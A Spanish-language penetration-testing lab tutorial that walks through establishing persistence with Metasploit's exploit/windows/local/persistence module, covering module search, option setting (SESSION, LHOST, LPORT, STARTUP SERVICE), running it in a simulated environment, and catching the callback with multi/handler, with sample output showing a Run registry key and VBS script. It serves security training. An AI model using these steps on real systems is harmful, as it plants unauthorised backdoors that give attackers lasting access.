Introducción
En este laboratorio, aprenderá el proceso fundamental de establecer persistencia en un sistema objetivo utilizando el Metasploit Framework. La persistencia es una fase crítica en las pruebas de penetración, ya que permite a un atacante mantener el acceso a un sistema comprometido incluso después de que se reinicie o se pierda la conexión inicial. Exploraremos cómo utilizar un módulo específico de Metasploit para crear una puerta trasera (backdoor) que se reconecte automáticamente a su máquina. Este laboratorio se centra en los comandos y conceptos en un entorno controlado y simulado.
Obtener una sesión privilegiada de Meterpreter en un objetivo
En este paso, iniciaremos el Metasploit Framework y comprenderemos el contexto de nuestra tarea. En una prueba de penetración real, establecer persistencia es una actividad posterior a la explotación (post-exploitation). Esto significa que ya habría obtenido acceso inicial al sistema objetivo, típicamente en forma de una sesión de Meterpreter.
Para este laboratorio, nos centraremos en los comandos y procedimientos para configurar la persistencia. Asumiremos que ya ha comprometido con éxito un objetivo y tiene una sesión de Meterpreter ejecutándose en segundo plano.
Primero, iniciemos la consola de Metasploit desde la terminal. La bandera -q proporciona un inicio silencioso, suprimiendo el banner de inicio.
msfconsole -q
Su indicador de comandos ahora debería cambiar a msf6 >, lo que indica que está dentro del Metasploit Framework.
En un escenario real con una sesión activa, podría enumerarla con el comando sessions. Para interactuar con ella, usaría sessions -i <session_id>. Para regresar al indicador msf6 > y usar módulos de post-explotación, usaría el comando background desde dentro de la sesión de Meterpreter. Procederemos como si ya hubiéramos enviado nuestra sesión a segundo plano.
Buscar módulos de post-explotación de persistencia
En este paso, buscaremos módulos dentro de Metasploit que puedan ayudarnos a establecer persistencia. Metasploit tiene una potente función de búsqueda que le permite encontrar módulos basándose en palabras clave, tipo, plataforma y más.
Estamos buscando un módulo relacionado con "persistence" (persistencia). Usemos el comando search dentro de la consola de Metasploit para encontrar módulos relevantes.
search persistence
Este comando devolverá una lista de exploits, módulos auxiliares y de post-explotación que coinciden con la palabra clave. La salida muestra el nombre del módulo, la fecha de divulgación, el rango y una breve descripción.
Su salida será similar a esta (algunos detalles pueden variar):
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/dlink_dir_600_http_login 2013-02-01 normal No D-Link DIR-600 'dlink_user' Persistence
1 exploit/linux/local/cron_persistence 2020-01-28 excellent Yes Cron Persistence
2 exploit/osx/local/persistence 2015-05-11 excellent Yes OS X Persistent Launchd Job
3 exploit/windows/local/persistence 2012-08-20 excellent No Windows Persistent Service Installer
4 exploit/windows/local/persistence_service 2014-09-11 excellent Yes Persistent Service Installer
5 post/android/manage/remove_persistence 2018-09-20 normal No Remove persistence from device
6 post/android/manage/set_persistence 2018-09-20 normal No Set persistence on device
7 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade
8 post/osx/manage/persistence 2018-09-20 normal No Install persistence on OSX
9 post/windows/manage/persistence_exe 2013-03-06 normal No Windows Manage Persistent EXE Payload
10 post/windows/manage/ssh_inject 2012-11-20 normal No Windows Manage SSH User Key Injection
Como puede ver, hay varias opciones. Para este laboratorio, nos centraremos en exploit/windows/local/persistence, un módulo fiable y de uso común para crear un servicio persistente en sistemas Windows.
Usar el módulo exploit/windows/local/persistence
En este paso, seleccionará el módulo de persistencia que identificamos previamente. El comando use en Metasploit carga un módulo específico en el contexto actual, lo que le permite configurarlo y ejecutarlo.
Para seleccionar el módulo, puede escribir su ruta completa o usar su número de los resultados de la búsqueda (por ejemplo, use 3). Usar la ruta completa es generalmente más fiable, ya que los números pueden cambiar.
Carguemos el módulo exploit/windows/local/persistence.
use exploit/windows/local/persistence
Después de ejecutar este comando, su indicador cambiará para reflejar el módulo cargado actualmente: msf6 exploit(windows/local/persistence) >.
Ahora que el módulo está cargado, podemos ver sus opciones para saber qué necesita ser configurado. Use el comando show options.
show options
Esto mostrará una tabla de todos los parámetros que puede establecer para este módulo, sus valores actuales y si son requeridos.
Module options (exploit/windows/local/persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 10 yes Delay in seconds for persistent payload to connect back
LHOST no The local listener IP address
LPORT 4444 no The local listener port
REX_PORT 0 no The port to connect to on the remote host
SESSION yes The session to run this module on
STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
...
Observe que SESSION es una opción requerida. Aquí es donde especificaría el ID de su sesión de Meterpreter comprometida.
Configurar opciones para inicio automático y payload
En este paso, configuraremos las opciones necesarias para nuestro módulo de persistencia. Basándonos en la salida de show options, necesitamos establecer varios parámetros para definir cómo se comportará el mecanismo de persistencia. El comando set se utiliza para asignar valores a estas opciones.
Primero, especificaremos la sesión. En un escenario real, usaría el ID de su sesión activa (por ejemplo, set SESSION 1). Para este laboratorio, lo estableceremos en 1 como marcador de posición.
set SESSION 1
A continuación, debemos configurar el payload que ejecutará el mecanismo de persistencia. Este payload se conectará de vuelta a nuestra máquina. Debemos establecer LHOST (nuestra dirección IP) y LPORT (el puerto en el que escucharemos). Estableceremos LHOST a la dirección de loopback local 127.0.0.1 y LPORT a 4445 (para evitar conflictos con otros posibles manejadores).
set LHOST 127.0.0.1
set LPORT 4445
La opción STARTUP determina cómo se inicia el payload en la máquina objetivo. Las opciones son USER (se ejecuta cuando el usuario inicia sesión), SYSTEM (se ejecuta cuando el sistema arranca) o SERVICE (se ejecuta como un servicio del sistema). Elegiremos SERVICE para obtener mayores privilegios y sigilo.
set STARTUP SERVICE
Puede ejecutar show options nuevamente para verificar que todas sus configuraciones se han aplicado correctamente. Todos los valores que acaba de establecer deberían reflejarse ahora en la columna "Current Setting".
Ejecutar el módulo y verificar el mecanismo de persistencia
En este paso final, ejecutaremos el módulo. Con todas las opciones configuradas, ejecutar el módulo intentará instalar el script de persistencia en el sistema objetivo a través de la sesión especificada. Para ejecutar el módulo, simplemente use el comando run o exploit.
run
Resultado Esperado: En nuestro entorno simulado, este comando fallará porque no hay una sesión activa con el ID 1. Verá un mensaje de error similar a este:
[-] Exploit failed: Rex::Post::Meterpreter::RequestError The session is not valid.
Este es el comportamiento esperado para este laboratorio, ya que no estamos trabajando con un host comprometido y activo.
En un escenario real con una sesión válida, la salida sería muy diferente. Mostraría el módulo subiendo un script, modificando el registro y confirmando que el mecanismo de persistencia se instaló correctamente. Una ejecución exitosa podría verse así:
[*] Running module against TARGET-PC
[*] Installing persistence script...
[+] Persistence script uploaded to C:\Users\Admin\AppData\Local\Temp\abcde.vbs
[*] Creating startup registry key...
[+] Persistence registry key created at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fGhiJkL
[*] Starting the payload handler...
[+] Persistence established. The service will start on next boot.
Para completar el proceso en una prueba real, configuraría un nuevo manejador (use exploit/multi/handler) configurado con el mismo LHOST y LPORT (127.0.0.1 y 4445). Después de que la máquina objetivo se reinicie, el payload persistente se ejecutará y se conectará de vuelta a su manejador, proporcionándole una nueva sesión de Meterpreter.
Resumen
En este laboratorio, aprendió el proceso fundamental para establecer persistencia en un sistema objetivo utilizando el Metasploit Framework. Practicó la búsqueda de módulos relevantes, la selección y configuración del módulo exploit/windows/local/persistence, y la comprensión de su funcionamiento.
Aunque simulamos el entorno sin un objetivo activo, ha aprendido los comandos y el flujo de trabajo exactos necesarios para crear una puerta trasera persistente en una prueba de penetración del mundo real. Esta habilidad es crucial para mantener el acceso a largo plazo durante las evaluaciones de seguridad.
¡Felicitaciones por completar el laboratorio!


